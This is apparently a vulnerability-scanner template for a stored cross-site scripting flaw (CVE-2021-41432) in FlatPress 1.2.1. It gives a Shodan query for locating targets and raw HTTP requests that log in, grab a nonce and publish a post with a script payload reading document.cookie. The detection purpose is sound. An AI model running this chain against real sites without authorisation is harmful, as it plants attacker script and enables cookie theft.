82 lines
2.5 KiB
YAML
82 lines
2.5 KiB
YAML
id: CVE-2021-41432
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info:
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name: FlatPress 1.2.1 - Stored Cross-Site Scripting
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author: arafatansari
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severity: medium
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description: |
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FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.
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reference:
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- https://github.com/flatpressblog/flatpress/issues/88
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41432
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2021-41432
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cwe-id: CWE-79
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cpe: cpe:2.3:a:flatpress:flatpress:*:*:*:*:*:*:*:*
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epss-score: 0.0007
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metadata:
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max-request: 4
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shodan-query: http.html:"Flatpress"
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verified: true
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tags: cve,cve2021,flatpress,xss,authenticated,oss
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http:
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- raw:
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- |
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POST /login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp
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------WebKitFormBoundarykGJmx9vKsePrMkVp
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Content-Disposition: form-data; name="user"
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{{username}}
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------WebKitFormBoundarykGJmx9vKsePrMkVp
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Content-Disposition: form-data; name="pass"
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{{password}}
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------WebKitFormBoundarykGJmx9vKsePrMkVp
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Content-Disposition: form-data; name="submit"
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Login
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------WebKitFormBoundarykGJmx9vKsePrMkVp--
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- |
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GET /admin.php?p=entry&action=write HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /admin.php?p=entry&action=write HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd×tamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
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- |
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GET /index.php/2022/10 HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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cookie-reuse: true
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matchers:
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- type: dsl
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dsl:
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- "contains(body_4, '<p><script>alert(document.cookie)</script></p>')"
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- "contains(body_4, 'FlatPress')"
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- "contains(all_headers_4, 'text/html')"
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- "status_code_4 == 200"
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condition: and
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extractors:
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- type: regex
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internal: true
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name: nonce
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part: body
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group: 1
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regex:
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- 'name="_wpnonce" value="([0-9a-z]+)" />'
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# Enhanced by md on 2022/10/17
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